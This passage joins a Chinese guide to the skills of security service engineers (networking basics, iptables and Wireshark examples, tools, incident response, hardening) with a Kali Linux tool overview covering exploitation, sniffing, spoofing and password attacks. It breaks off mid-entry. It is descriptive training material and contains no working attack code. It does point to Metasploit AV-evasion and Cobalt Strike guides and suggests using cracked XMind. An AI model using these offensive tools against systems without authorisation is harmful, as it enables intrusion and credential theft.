全网最全的安服工程师修炼手册
全网最全安全服务工程师修炼手册本篇文章主要介绍安全服务工程师的必备技能,也是简单记录下我的安服历程!思维导图附上点击下载基础技能网络IPIP概念:IP地址被用来给Internet上的电脑一个编号。日常见到的情况是每台联网的PC上都需要有IP地址,才能正常通信。我们可以把“个人电脑”比作“一台电话”,那么“IP地址”就相当于“电话号码”,而Internet中的路由器,就相当于电信局的“程控式交换机”。IP地址是一个32位的二进制数,通常被分割为4个“8位二进制数”(也就是4个字节)。IP地址通常用“点分十进制”表示成(a.b.c.d)的形式,其中,a,b,c,d都是0~255之间的十进制整数。A类地址 第1个8位中的第1位始终为0 0-126.x.x.x 255.0.0.0/8B类地址 第1个8位中的第1、2位始终为10 128-191.x.x.x 255.255.0.0/16C类地址 第1个8位中的第1、2、3位始终为110 192-223.x.x.x 255.255.255.0/24D类 以1110开始 用于组播 E类 以11110开始 用于科研保留其中127.x.x.x段地址空间是被保留的回环地址子网掩码计算子网掩码(subnet mask)又叫网络掩码、地址掩码、子网络遮罩,它是一种用来指明一个IP地址的哪些位标识的是主机所在的子网,以及哪些位标识的是主机的位掩码。子网掩码不能单独存在,它必须结合IP地址一起使用。子网掩码只有一个作用,就是将某个IP地址划分成网络地址和主机地址两部分。子网掩码是一个32位地址,用于屏蔽IP地址的一部分以区别网络标识和主机标识,并说明该IP地址是在局域网上,还是在远程网上。屏蔽一个IP地址的网络部分的“全1”比特模式。对于A类地址来说,默认的子网掩码是255.0.0.0;对于B类地址来说默认的子网掩码是255.255.0.0;对于C类地址来说默认的子网掩码是255.255.255.0。简单来讲就是将网络地址全换为“1”主机地址为“0”。a.通过子网掩码,就可以判断两个IP在不在一个局域网内部b.子网掩码可以看出有多少位是网络号,有多少位是主机号组局域网一个网卡设置多个IPDNAT、SNAT、静态路由SNAT场景:云上的vm主机用户作为客户端访问外网服务器vm(client)--->SNAT(将数据包中的内网源IP转换为外网IP)--->Internet(服务器)--->SNAT(将数据包内的目的IP转换为内网IP)--->vm(client)DNAT场景:云上的VM主机作为服务器端为外网提供服务Internet(client用户)--->DNAT(将数据包中的目的公网IP转换为目的内网IP)--->VM(server)--->DNAT(将数据包中的源内网IP转换为外网IP)--->Internet(client用户)#DNAT
iptables -t nat -A PREROUTING -d 172.18.0.107 -p tcp --dport=80 -j DNAT --to-destination 192.168.25.106:8000
#SNAT
iptables -t nat -A POSTROUTING -s 192.168.25.0/24 -j SNAT --to-source 172.18.0.10静态路由静态路由是由管理员在路由器中手动配置的固定路由。配置静态路由需要注意以下几点。(1)需要有目标IP(2)需要有与静态路由直接相连的下一路由器接口的IP地址或静态路由的本地接口。(3)静态路由是由管理员手动设置的,除非管理员干预,否则静态路由不会发生变化。静态路由特点(1)允许对路由的行为进行精准的控制。(2)静态路由是单向的。(3)静态路由器的缺点就是缺乏灵活性。参考:https://www.linuxidc.com/Linux/2019-08/160377.htmlinux配置IP(centos/ubuntu)#centos7.6
vi /etc/sysconfig/network-scripts/ifcfg-ens32
bootproto=static
onboot=yes
#在最后加上几行,IP地址、子网掩码、网关、dns服务器
IPADDR=192.168.1.160
NETMASK=255.255.255.0
GATEWAY=192.168.1.1
DNS1=119.29.29.29
DNS2=8.8.8.8
#重启网络
systemctl restart network#ubuntu20.04
sudo vi /etc/netplan/00-installer-config.yaml
network:
ethernets:
ens33:
addresses: [192.168.31.215/24] #配置的静态ip地址和掩码
dhcp4: no #关闭DHCP,如果需要打开DHCP则写yes
optional: true
gateway4: 192.168.31.1 #网关地址
nameservers:
addresses: [192.168.31.1,114.114.114.114] #DNS服务器地址
version: 2
renderer: networkd #指定后端采用systemd-networkd或Network Manager,不填则默认systemd-workd
#应用新配置
sudo netplan applywireshark抓包,常见过滤语法1、针对ip的过滤#对源地址进行过滤
ip.src == 192.168.0.1
#对目的地址进行过滤
ip.dst == 192.168.0.1
#对源地址或者目的地址进行过滤
ip.addr == 192.168.0.1
#如果想排除以上的数据包,只需要将其用括号囊括,然后使用 "!" 即可
!(ip.addr == 192.168.0.1)2、针对协议的过滤#获某种协议的数据包,把协议的名字输入即可,只能为小写
http
#捕获多种协议的数据包
http or telnet
#排除某种协议的数据包
not arp 或 !tcp3、针对端口的过滤(视传输协议而定)#捕获某一端口的数据包(以tcp协议为例)
tcp.port == 80
#捕获多端口的数据包,可以使用and来连接,下面是捕获高于某端口的表达式(以udp协议为例)
udp.port >= 20484、针对长度和内容的过滤#针对长度的过虑(这里的长度指定的是数据段的长度)
udp.length < 20
http.content_length <=30
#针对uri 内容的过滤 matches 后的关键字是不区分大小写的!
http.request.uri matches "user" (请求的uri中包含“user”关键字的)
http.request.uri contains "User" (请求的uri中包含“user”关键字的)
注意:contains 后的关键字是区分大小写的!5、针对http请求的一些过滤实例。#过滤出请求地址中包含“user”的请求,不包括域名;
http.request.uri contains "User"
#精确过滤域名
http.host==baidu.com
#模糊过滤域名
http.host contains "baidu"
#过滤请求的content_type类型
http.content_type =="text/html"
#过滤http请求方法
http.request.method=="POST"
#过滤tcp端口
tcp.port==80
http && tcp.port==80 or tcp.port==5566
#过滤http响应状态码
http.response.code==302
#过滤含有指定cookie的http数据包
http.cookie contains "userid"文字处理word各种格式、excel常用公式(vlookup)、notepad++批量处理字符串word各种格式有手就行这里不再赘述excel常用公式(vlookup)微软官方教程附上https://support.microsoft.com/zh-cn/office/vlookup-%E5%87%BD%E6%95%B0-0bbc8083-26fe-4963-8ab8-93a18ad188a1notepad++批量处理字符串(大多数操作依赖正则表达式)1、在开头或结尾加入内容正则表达式^和$分别表示开头和结尾, 替换他们为需要添加的内容即可完成在每行之前加入指定内容2、删除奇数行/偶数行核心思路为每两行匹配, 并分组, 再需要时替换为对硬的组即可, 正则为^([^\n]*)\n([^\n]*)从头开始匹配, 非换行符+换行符+非换行符, 正是两行。使用\1替换为奇数行(只保留), \2替换为偶数行(只保留)3、驼峰转下划线找到小写字母+大写字母的组合, 在中间加一个_并且将后面的字母变成小写:ckcSEC变为ckc_sec#查找
([a-z])([A-Z])
#替换
\1_\l\24、下划线转驼峰找到小写字母+_+小写字母的组合, 去掉_并且将后面的小写字母变成大写:ckc_sec变为ckcSEC#查找
([a-z])_([a-z])
#替换
\1\u\25、还有一种情况是复制过来的文本末尾会有空白行或者是制表符或者是空格a.去除行尾空格和空白行
查找目标:\s+$ 替换为空,查找方式选择正则表达式
b.去除行首空格
查找目标:^\s+ 替换为空,查找方式选择正则表达式
c.合并行
查找目标:\r\n 替换为空,查找方式选择正则表达式
d.行首插入
查找目标:^ 替换为要插入的字符,查找方式选择正则表达式
e.行尾插入
查找目标:$替换为要插入的字符,查找方式选择正则表达式编程语言会基本使用,拿网上的脚本自己修改,如python、linux shell这个不是一天两天能学会的,这里就不作赘述,得靠平时自己的坚持学习练习。工具篇科学上网V2ray等,作为一名网络安全职业人员,这个肯定是必不可少的,多的这里也就不作解释了。不过还请务必在国家法律规定的范围内使用,切勿违法犯罪。仅用于学习交流,为国家网络安全做贡献。生产力在线笔记软件这个可以直接写博客,写博客是个好习惯,能及时的帮助你总计和积累一些知识点,也是一个成长过程的记录。当然除了搭建个人的博客网站,还可以利用软件做笔记。这样可以帮助你自动云备份,这里笔者推荐有道云笔记。免费的3G空间云备份,对于笔记而言是绝对够的。https://note.youdao.com/everythingeverything是一个私有的免费Windows桌面搜索引擎,可以在NTFS卷上快速地根据名称查找文件和目录,windows自带的搜索要快的多,非常好用,这里笔者极力推荐,可方便快速启动渗透测试工具或者脚本,以及查找文件。https://www.voidtools.com/zh-cn/dittoDitto 是 Windows 一款免费开源的剪贴板增强软件,支持主流系统,支持中文,并且提供免安装绿色版。使用它你只需像往常一些复制东西,然后按下 Ctrl+` (数字1前面那个按键),就能唤出它的界面,里面记录了所有历史复制内容,你可以选择性进行粘贴,非常方便。https://ditto-cp.sourceforge.io/notepad++这个神器就不多说了,无敌https://notepad-plus-plus.org/downloads/SSH(mobaxterm、xshell等)ssh工具,有个国产的FinalShell,但是国产特色在那里,不是很敢用,还是让他再发展几年再说xshell是收费的,但是有个学校版可以免费申请,功能基本无差别https://www.netsarang.com/zh/free-for-home-school/mobaxterm 国外,开源免费,支持多种协议,简直yyds,也是我一直再用的https://mobaxterm.mobatek.net/php运行环境这个主要用于自己平时的自建靶场练习(phpstudy支持多版本切换、wamp、thinkphp等)网盘(团队资料共享以及备份)阿里云盘不限速不收费yydshttps://www.aliyundrive.com/画图软件draw.iohttps://www.diagrams.net/一款实用的免费流程图绘制工具,它致力于成为完全开源、免费、并且高质量的绘图软件,使用它可以轻松创建图表,适用于商务、工程、电气、网络设计、软件设计等诸多领域的专业绘图。xmind(思维导图软件)自行百度绿色破解浏览器插件Hack-Toolshttp://github.com/LasCC/Hack-Toolss7ck HackTools,是一个web扩展,方便web应用程序渗透测试,如XSS、反向shell、编码转换等等。 随着扩展,不再需要在不同的网站或本地搜索有效负载存储空间,大多数工具都是一键式访问。HackBarsql注入神器User-Agent Switcher改ua头foxyproxy小狐狸,网络抓包代理工具wappalyzer业内有名的指纹识别插件,这里就不用我多说了吧,yyds安全产品漏扫工具每个公司都有自己专门的漏扫工具,因为涉及公司机密,这里就不透露了防火墙每个安全厂商基本都有自己开发的防火墙设备防火墙是一种用于监控入站和出站网络流量的网络安全设备,可基于一组定义的安全规则来决定是允许还是阻止特定流量。防火墙指的是一个由软件和硬件设备组合而成、在内部网和外部网之间、专用网与公共网之间的界面上构造的保护屏障,是一种获取安全性方法的形象说法,它是一种计算机硬件和软件的结合,使Internet与Intranet之间建立起一个安全网关(Security Gateway),从而保护内部网免受非法用户的侵入,防火墙主要由服务访问规则、验证工具、包过滤和应用网关4个部分组成。入侵检测 IDS/入侵防御IPS入侵检测系统IDS(“Intrusion Detection System”)专业上讲就是依照一定的安全策略,对网络、系统的运行状况进行监视,尽可能发现各种攻击企图、攻击行为或者攻击结果,以保证网络系统资源的机密性、完整性和可用性。与防火墙不同的是,IDS入侵检测系统是一个旁路监听设备,没有也不需要跨接在任何链路上,无须网络流量流经它便可以工作。因此,对IDS的部署的唯一要求是:IDS应当挂接在所有所关注的流量都必须流经的链路上。IDS在交换式网络中的位置一般选择为:尽可能靠近攻击源、尽可能靠近受保护资源。入侵防御系统IPS(“Intrusion Prevention System”)在入侵检测的基础上添加了防御功能,一旦发现网络攻击,可以根据该攻击的威胁级别立即采取抵御措施。IPS技术可以深度感知并检测流经的数据流量,对恶意报文进行丢弃以阻断攻击,对滥用报文进行限流以保护网络带宽资源。对于部署在数据转发路径上的IPS,可以根据预先设定的安全策略,对流经的每个报文进行深度检测(协议分析跟踪、特征匹配、流量统计分析、事件关联分析等),如果一旦发现隐藏于其中网络攻击,可以根据该攻击的威胁级别立即采取抵御措施,这些措施包括(按照处理力度):向管理中心告警;丢弃该报文;切断此次应用会话;切断此次TCP连接。两者的差别在于:功能不同:入侵防御系统在入侵检测的基础之上还实现了防护的功能。实时性要求不同:入侵防御必须分析实时数据,而入侵检测可以基于历史数据做事后分析。部署方式不同:入侵检测一般通过端口镜像进行旁路部署,而入侵防御一般要串联部署。参考:http://security.zhiding.cn/security_zone/2009/0412/1362627.shtmlhttps://cloud.tencent.com/developer/news/561338日志审计综合日志审计平台,通过集中采集信息系统中的系统安全事件、用户访问记录、系统运行日志、系统运行状态等各类信息,经过规范化、过滤、归并和告警分析等处理后,以统一格式的日志形式进行集中存储和管理,结合丰富的日志统计汇总及关联分析功能,实现对信息系统日志的全面审计。通过日志审计系统,企业管理员随时了解整个IT系统的运行情况,及时发现系统异常事件;另一方面,通过事后分析和丰富的报表系统,管理员可以方便高效地对信息系统进行有针对性的安全审计。遇到特殊安全事件和系统故障,日志审计系统可以帮助管理员进行故障快速定位,并提供客观依据进行追查和恢复。日志审计平台的部署方式硬件产品部署方式:一般日志审计系统采用旁路部署即可,只要到达全部设备网络可通即可。支持单机部署和分布式部署。云日志审计系统部署方式:云日志审计部署一般要求到全网设备可通信即可。参考:https://blog.csdn.net/qq_38265137/article/details/106790419堡垒机运用各种技术手段监控和记录运维人员对网络内的服务器、网络设备、安全设备、数据库等设备的操作行为,以便集中报警、及时处理及审计定责。云WAF云WAF即web应用防火墙.云WAF,是web应用防火墙的云模式,这种模式让用户不需要在自己的网络中安装软件WAF或部署硬件WAF,就可以对网站实施安全防护。防SQL注入、防XSS、防CC攻击、防webshell上传、防篡改、防盗链等,这些传统WAF上存在的功能,云WAF同样具备。从用户的角度来看,云WAF就像是一种安全服务。apt/态势感知APT攻击APT攻击技术学习指南态势感知某大厂态势感知被五千万买断(手动狗头)针对APT攻击的特点及危害,采用大数据处理架构,集合行为分析、虚拟执行、多维关联分析、机器学习等技术,针对APT攻击中广泛采用的0day/Nday漏洞、特种木马、渗透入侵技术等进行深度检测分析;挖掘识别网络空间中的已知/未知高级威胁,对威胁进行追踪与定位;结合攻击事件关联,提供木马报告、趋势分析报表等多种可视化统计图表,实现对APT攻击的全生命周期的检测分析与预警,帮助用户全面、直观掌握网络安全风险状况。并且可与天融信防火墙联动,建立APT监测与阻断防御体系,形成攻击防御闭环。通过威胁态势感知对入侵植入事件、网内失陷事件进行监测,实现对已知和未知威胁地实时监控与态势感知,实时展现网络安全整体态势感知地图,掌握全局资产风险,支撑整体安全策略,让安全可见、可控、可预测。宏观威胁态势感知地图、多阶段全链条攻击检测、动静结合的技术检测、动态沙箱识别未知威胁、全面木马通信行为检测、多种沙箱逃逸对抗技术。杀毒软件企业的杀毒软件是统一部署管理的,业内有名的奇安信,360等应急响应1、处理服务器中毒事件,手工清除一些简单的病毒主要为挖矿病毒,Google一下业内大哥的挖矿病毒清理经验,进行分析总结2、能分析web日志、操作系统日志,对入侵溯源3、能编写应急响应报告4、常用命令常用命令使用教程ifconfig、cd、cat、grep、ping、traceroute、find、netstat、chmod、ps、top、whoami、head、tail、last、lastb5、windows常用工具autoruns强化版任务启动管理器。Autoruns 是 SysInternals 工具集中非常简单易用而又十分常用的一个小工具,它可以说是我日常使用频率最高的工具之一。其主要功能就是帮助我们管理 Windows 中的各种启动项,有了它以后你便可以抛弃各种号称“管家”、“卫士”之类的系统启动项管理工具了。tcpview它将显示系统上所有 TCP 和 UDP 端点的详细列表,包括本地和远程地址以及 TCP 连接的状态。在 Windows Server 2008、Vista 和 XP 上,TCPView 还报告拥有端点的进程的名称。TCPView 提供了 Windows 附带的 Netstat 程序的更多信息和方便呈现的子集。procexpProcess Explorer能显示有关哪些句柄和 DLL 进程已打开或加载的信息。由两个子窗口。顶部窗口始终显示当前活动进程的列表,包括其拥有帐户的名称,而底部窗口中显示的信息取决于所处的模式:句柄模式:您将看到处理在顶部窗口中选择的进程已经打开DLL 模式:您将看到进程已加载的 DLL 和内存映射文件。Process Explorer还具有强大的搜索功能,可以快速显示哪些进程打开了特定句柄或加载了 DLL。Process Explorer的独特功能使其可用于跟踪 DLL 版本问题或处理泄漏,并提供对 Windows 和应用程序工作方式的洞察。virustotal.com可分析可疑文件和 URL 以检测恶意软件的类型,以及免杀测试6、linux常用工具(nethogs、iftop)NetHogs NetHogs 是一个小型的“网络顶部”工具。它不像大多数工具那样按协议或每个子网分解流量,而是按进程对带宽进行分组。iftopiftop用于查看网络上的流量情况,包括实时速率、总流量、平均流量等,是一款实时流量监控工具。安全加固1、windowswindows查看服务、进程、启动项、组策略、打补丁、防火墙等2、linux密码策略、任务计划、umask、ssh、uid=0的用户等,找现成脚本3、数据库和中间件 安全加固的知识点太多,具体可参考我的这篇文章安全加固手册渗透测试作为一名安服工程师,渗透测试的能力肯定是要具备的。1、要能独立对web系统进行渗透测试,并编写渗透测试报告2、内网渗透测试3、能对app做简单渗透,会抓app的网络交互包,简单了解下即可,工具:Fiddler上面这些我以前的文章写了很多关于渗透测试的,可以参考学习 4、各种工具使用(nmap、sqlmap、bp、msf、CS)nmapnmap教程:https://www.zhiji.icu/2021/02/17/nmap-de-shi-yong/sqlmapsqlmap教程:https://www.zhiji.icu/2021/02/18/sqlmap-de-shi-yong/burpsuitebp安装详细教程bp渗透测试教程msfmsf之免杀上线msf之后渗透攻击CobaltStrike4.0CobaltStrike4.0安装部署CobaltStrike4.0渗透测试手册(pdf)5、熟悉owasp top10漏洞的原理以及解决方法owasp top10漏洞的原理以及防护方案推荐几个牛逼的渗透测试大哥博客地址我自己的博客地址:https://www.zhiji.icu/告白热:http://www.kxsy.work/icepeak:https://icepeak.icu/漏洞扫描1、会使用nessus2、会整理nessus漏扫报告3、能解读漏扫报告,指导用户修复漏洞4、能独立去用户现场进行漏扫CTF这方面我也是个菜狗,仅仅当作兴趣爱好,就推荐一些ctf的练习靶场吧CTFHub:开箱即用的CTF学习解决方案https://www.ctfhub.com/#/index攻防世界:adworld.xctf.org.cnWgpSec CTF:ctf.wgpsec.orgBUUCTF:buuoj.cn最后关于安全服务工程师的必备技能总结就是上面这些了,虽然部分内容有点水,但是也耗费了不少时间,旨在为初入安全的小白,提供上帝视角,有方向有目标的学习进步,共勉。
kali工具详细讲解
目录前言一、信息收集工具二、脆弱性分析工具三、漏洞利用工具四、嗅探与欺骗工具五、密码攻击工具六、权限提升工具七、Web应用工具八、无线攻击工具九、硬件黑客工具十、维持访问工具十一、取证工具十二、逆向工程工具十三、压力测试工具十四、报告工具十五、kali Top10 工具本章小结前言Kali系统预装了大量的安全工具,可以说是一个安全工具的数据库。在kali2018.2系统中就有600多个工具,工具如此之多,掌握所有的工具是不现实的,只有需要用的时候再去学习工具的使用即可。但是了解这些工具的用途,掌握一些常用的安全工具是必要的,本篇文章主要对一些常用的安全工具进行介绍,这里只需要简单地了解一下这些工具的用途和使用方法,在后边的文章中将会用到这些工具完成相应的实操,还会具体讲解这些工具的使用。kali提供的工具有很多,从应用和功能的角度可以将工具分成14种类型,分别是:信息搜集、脆弱性分析、漏洞利用、嗅探和欺骗、密码工具、权限提升、web应用、无线攻击、硬件黑客、权限维持、取证工具、逆向工程、压力测试、报告工具。kali系统工具的介绍可参考官方网站:https://www.kali.org/tools/一、信息收集工具信息收集时进行安全渗透测试必要的准备工作,其主要目的是收集渗透测试目标的基本信息,包括操作系统信息、网络配置信息、应用服务信息等。kali提供的信息收集工具的使用模式分为三种,分别是:命令行模式、图形用户界面模式和Shell命令行模式名称使用模式描述Amap命令行Amap是一个服务扫描工具,它是最早被称为下一代扫描器的软件,可以识别不同的应用程序,即使这些程序运行在一个异常的端口上。Amap最早开始支持UDP协议和IPv6地址空间的扫描,可作为nmap重要的补充工具。同时amap还提供未知应用特征的自动测定功能,让我们可以方便定制扫描结果arp-scan命令行arp-scan是一个用来进行系统发现和指纹识别的命令行工具,它可以构建并发送ARP请求到指定的IP地址,并且显示返回的任何响应DMitry命令行DMitry是一个用C语言开发的UNIX/(GUN)Linux命令行工具,能够收集目标主机尽可能多的信息,包括主机所在的子域、电子邮件地址、运行时间、TCP端口扫描、whois查询等。dnmap命令行dnmap是一个能够在多台客户机上执行分布式nmap扫描的框架,它可以读取包括nmap命令的文件,并把该命令文件发给与之相连的多台客户机,在这些客户机上执行nmap文件中的命令。dnmap框架采用的是客户机/服务器模式,服务器发布命令,客户机执行命令,从而实现分布式nmap扫描dnsenum命令行dnsenum通过执行多线程Perl脚本来枚举域的DNS信息,从而发现非相邻的IP块Fierce命令行Fierce不是一个IP地址扫描器,也不是一个DDos工具,它不是涉及来扫描整个互联网或执行任何非针对性的攻击的。它是一个Perl脚本,是一个侦察工具,可以对域进行快速扫描,用来定位公司网络内部和外部可能的目标MaltegoTeeth图形用户界面Maltego是一个独特的平台,用于向组织拥有和运营的环境传递清晰的威胁画面。Maltego的独特优势在于证明单点故障的复杂性和严重性以及网络设备间的信任问题Nmap命令行Nmap是一个免费的、开源的用于网络发现和安全审计的工具,可用于网络资产管理、网络服务升级管理、监控主机或服务正常运行等任务Nmap功能强大,可判断主机是否在线,判断主机运行的操作系统类型和版本,判断主机提供了哪些服务(应用程序名称和版本)、使用了什么类型的过滤器或防火墙,以及其他几十种特性。p0f命令行来对主机上的操作系统进行鉴别,即使是在系统上装有性能良好的防火墙的 p0f是一款被动探测工具,能够通过捕获并分析目标主机发出的数据包 NAT、负载均衡、应用代理等,它是一个万能的被动操作系统指纹工具。 情况下也没有问题。同时p0f在网络分析方面功能强大,可以用它来分析Recon-NGShell命令行令行 Recon-NG是由Python编写的一个开源的Web侦查(信息收集)框架, 成数据库,可把查询结果结构化存储在其中,有报告模块,把结果导出为报告。 使用它可以自动地收集信息和网络侦查。其命令格式与Metasploit默认集smtp-user-enum命令行大部分基于类Unix系统的邮件服务,采用操作系统账号作为邮件账号, 因此对于其邮件账号的探测,其实就等同于对操作系统账号的探测,以便进 行后续弱密码口令的破解。smtp-user-enum基于三种方法验证邮件账号是否 存在,同时支持基于字典的批量验证。snmp-check命令行snmp-check是一款基于默认或指定团体名,对目标设备进行信息批量查 询的工具,其默认支持Windows、类Unix、网络设备和打印机等。完全依靠 人工来监控大型网络的运行状态,是一种令人崩溃的任务。SNMP协议可以大 大简化系统和网络管理员的工作,实现问题的快速定位和排查。Unicornscan命令行Unicornscan是一款通过尝试连接用户系统(User-Land)分布式TCP/ IP堆栈获得信息和关联关系的端口扫描器。它是一个新的信息收集引擎,主 要用于安全研究和通讯测试,主要特点是精确、灵活而且高效。Wireshark图形用户界面Wireshark从Ethereal发展而来,是一款网络数据包捕获和分析工具, 它使用WinPcap作为接口,可跳过TCP/IP协议栈直接与网卡进行数据包的 交换。Kali系统提供的信息收集工具还有很多,以上是一些比较常用的工具,这些工具的功能几乎涵盖了信息收集的各个方面,有操作系统的信息、应用服务的信息、网络信息等,熟练使用这些工具,对目标系统和网络的信息进行收集,在后续的安全渗透测试过程中,就能做到“知己知彼,百战不殆”。二、脆弱性分析工具在信息收集的基础上,要进行渗透,需要对目标系统或网络的脆弱性(也就是漏洞)进行进一步的分析, Kali系统提供了大量实用的脆弱性分析工具来发现这些漏洞,为后续的漏洞利用提供支持。Kali提供的脆弱性分析工具如下表所示:名称使用模式描述BBQSQLShell命令行BBQSQL是一款用Python写的SQL盲注框架,对SQL注入漏洞 攻击非常有效。它是一种半自动工具,自带一个直观的UI用户界 面,允许许多难以触发的SQL注入变得用户化,使设置攻击更容易。 BBQSQL用法非常灵活,与数据库无关,不关心数据或数据库,而大 多数SQL注入工具是要具体的数据库或语言建立的。BED命令行BED(Bruteforce Exploit Detector)是一款缓存区漏洞检测 工具。它预置了十一种插件。这些插件针对不同的服务或系统,如 FTP、SMTP、POP等。同时,这些插件内包含了已知的各种攻击载荷。 BED通过加载插件,向目标主机发送攻击数据。如果发现目标无法响 应,说明目标可能存在溢出区漏洞。经过多次测试验证,就可以判断 漏洞出现的位置。然后手工执行验证,采用代码审核、反编译等方式, 就可以找出漏洞具体触发机制,从而加以利用cisco-auditing- tool命令行cisco-auditing-tool简称CAT,是一款小型的安全审计工具, 可检测出Cisco路由器常见的漏洞,可发现注入默认密码、默认 SNMP字符串和老版本IOS上存在的漏洞。cisco-global- exploiter命令行cisco-global-exploiter是一个小型的Perl脚本,是一个针对 思科设备的漏洞利用工具合集,支持对思科设备的14种独立的漏洞 进行测试。cisco-torch命令行cisco-torch是一款专门针对思科设备的扫描工具,它具备多种 应用层协议的指纹识别特性,借助与第三方指纹库的比对,可以轻 松识别目标设备及系统类型。同时由于采用了多线程的开发方式, 所以在性能上torch也同样表现突出。另外在密码破解和漏洞利用 方面, torch也具备相应的能力。如果torch破解了设备读写权限的 SNMP Community,还可进一步利用其获取设备的完整配置信息。copy-router-config命令行copy-router-config专门针对思科设备而设计,利用SNMP协议 下载和上传思科设备的配置文件。其使用需要tftp服务的配合。Lynis命令行Lynis是个系统安全检查工具,针对Unix和Linux系统而设计, 通过执行一些安全检查发现系统安装的软件以及存在的配置问题。 它能生成一份全面的加固建议列表,并由使用者灵活地自行决定实 施哪些加固措施。Nessus图形用户界面Nessus是世界上最流行的漏洞扫描程序,提供完整的电脑漏洞 扫描服务,并随时更新其漏洞数据库,可同时在本机或远端上遥控, 进行系统的漏洞分析扫描。它完整支持SSL,可自定义功能插件。OpenVAS图形用户界面OpenVAS是目前开源世界最重要的漏洞管理产品,它基于各种安 全行业的标准规范,广泛覆盖了已知的漏洞类型。它使用简单方便, 可以自动发现系统中绝大部分已知漏洞,无论对于渗透测试者还是 安全运维工程师,这都是一个不能缺少的强大工具。针对一些特定的应用, Kali也提供了相应的脆弱性分析工具,如VoIP、Oracle数据库、IPv6协议等,有兴趣的读者可参考Kali官网,上面有这些工具的详细介绍和使用方法,这里不再多言。三、漏洞利用工具发现了操作系统、网络和应用服务的漏洞,接下来怎么利用这些漏洞发起攻击呢? Kali提供了许多漏洞利用工具,这些工具有些功能强大,可以利用的漏洞类型很多,甚至可以定制,针对新的漏洞可通过添加脚本的方式扩展其功能,如Metasploit;有些工具则是针对特定的漏洞具有很好的效果。Kali系统提供的漏洞利用工具如下表所示名称使用模式描述Armitage图形用户界面Armitage是一款Java写的Metasploit图形界面化的攻击软 件,可以用它结合Metasploit中已知的exploit来针对主机存在 的漏洞自动化攻击。通过命令行的方式使用Metasploit难度较高, 需要记忆的命令过多,而Armitage完美地解决了这一问题,用户 只需要简单地点击菜单,就可以实现对目标主机的安全测试和攻 击。Armitage良好的图形展示界面,使得攻击过程更加直观,用 户体验更好。因其操作的简单性,尤其适合Metasploit初学者对 目标系统进行安全测试和攻击。Backdoor Factory命令行Backdoor Factory是一款安全测试工具,可以轻松地生成 win32PE后门测试程序,可对可执行文件进行自动化的后门部署。BeEF图形用户 界面BeEF(Browser Exploitation Framework)是一款针对浏览 器的渗透测试工具。Metasploit FrameworkShell命 令行Metasploit Framework简称MSF,是一个用Ruby语言写的渗 透测试框架,该框架集成了很多可用的渗透利用工具(Exploit Tools),比如著名的ms08_067等。用户可以在这个框架下进行一 系列的渗透测试,利用现有的装备(Payload),如Meterpreter 等进一步拿取对方的Shell。Metasploit功能强大,几乎每一个 从事渗透测试的人都会接触到它,是渗透测试的利器。Exploitdb命令行Exploitdb(Exploit Database)是一个由“Offebnsive Security”提供的漏洞利用程序集的数据库,可以用于平时的参 考和使用。它存储了大量的漏洞利用程序,可以帮助安全研究者 和渗透测试工程师更好地进行安全测试工作。上述漏洞利用工具中Metasploit可以说是最重要也最强大的,Metasploit的Exploit脚本主要用Ruby语言编写,在Kali系统中可看到脚本的源代码,掌握Ruby语言将有助于对这些渗透脚本的理解。四、嗅探与欺骗工具嗅探与欺骗主要针对的是网络。嗅探是指利用计算机的网络接口截获其他计算机数据报文的一种手段,在嗅探到的数据包中提取有价值的信息,比如用户名、密码等。欺骗则是利用一些技术手段,骗取目标主机的信任,取得有价值的信息。Kali系统提供的嗅探与欺骗工具如下表所示:名称使用模式描述Burp Suite图形用户界面Burp Suite是Web应用程序测试的最佳工具之一,其功能强大,可 破解登陆表单,执行会话令牌等多种的随机性检查。 以执行多种任务,如请求的拦截和修改,扫描web应用程序漏洞,以暴力破解登录表单,执行会话令牌等多种的随机性检查HexInject命令行HexInject是一款进行数据注入的工具,它可以直接向网络注入渗透 人员构造的数据包,也可以篡改网络传输的数据,为了避免修改带来的数 据验证问题,它默认对包进行校验,并重新计算包的大小,从而提高数据 的真实性。Inviteflood命令行Inviteflood攻击的目标是VoIP,它针对VoIP信令协议SIP中的 INVITE会话请求指令发起洪水攻击,被攻击者会瞬间接到大量呼叫请求, 导致类似电话占线的效果,严重时可令IP电话客户端程序崩溃。iSMTP命令行iSMTP是一款SMTP用户枚举和测试工具。Mitmporary命令行Mitmproxy俗称中间人攻击的神器,是一款有篡改功能的http代理 工具,支持http通信与https通信,既可用于中间人攻击,也可用于 html抓包调试。mitmproxy共有五种代理模式:正向代理模式、反向代理 模式、上行代理模式、透明代理模式和socks5代理模式。SniffJoke命令行SniffJoke是一款网络防嗅探工具。在渗透测试中,通过网络嗅探, 可以获取网络通信主机的各种信息。SniffJoke可以防止嗅探,它能够自 动对用户的网络数据进行附加处理,如发包延时、修改部分包、注入无效 包,使得嗅探工具无法正确读取数据包,并且所有这些附加处理不会影响 数据接收方的处理。SSLstrip命令行SSLstrip也叫https降级攻击,攻击者拦截用户流量后,欺骗用 户与攻击者进行http通信,攻击者与服务器保持正常通信(http或 https),从而获取用户信息。WebScarab图形用户界面WebScarab是由开放式Web应用安全项目(OWASP)组开发的一个用 来分析使用HTTP和HTTPS协议的应用程序框架。WebScarab可以记录它 检测到的会话内容(请求和应答),并允许使用者通过多种形式来查看记 录。可以用它来调试程序中较难处理的漏洞,也可以帮助安全专家发现潜 在的程序漏洞。嗅探与欺骗是安全渗透的常用手段,它充分利用网络协议自身在安全方面不完善的问题,通过IP欺骗、ARP欺骗等手段非法拦截或捕获网络中传输的数据包,通过对网络数据包的分析进一步获取有用的用户信息。通过上述工具的学习和使用,将有助于对网络协议的理解。五、密码攻击工具密码攻击可以说是安全渗透至关重要的一步,也是最为关键的一步。很多系统的安全大门就靠密码守护着,很多攻击者攻击到最后一步就是攻不破那道密码防线。一个好的、强健的密码是很难依靠技术手段攻破的,除非采用一些社会工程手段,如威逼、利诱或者利用对方的疏忽套取密码。那么密码攻击是否毫无用武之地呢?事实上,网络中充斥着很多弱口令,这些弱口令产生的原因是很多用户缺乏安全意识,为了容易记忆,设置的密码过于简单或者有规律可循。另外,一些工具可以帮助我们对弱口令进行自动尝试,节省了手动尝试的时间和繁琐操作,这些工具对弱口令的攻击还是非常有效率的。kali系统提供的密码攻击工具如下表所示:名称使用模式描述BruteSpray命令行BruteSpray是一个基于Nmap扫描结果的端口爆破工具,它可以载入Nmap的扫描结果(gnmap/XML文件),然后对我们指定的端口和IP进行枚举口令爆破,爆破过程可通过自动调用Medusa来进行。Cain&Abel图形用户界面Cain&Abel 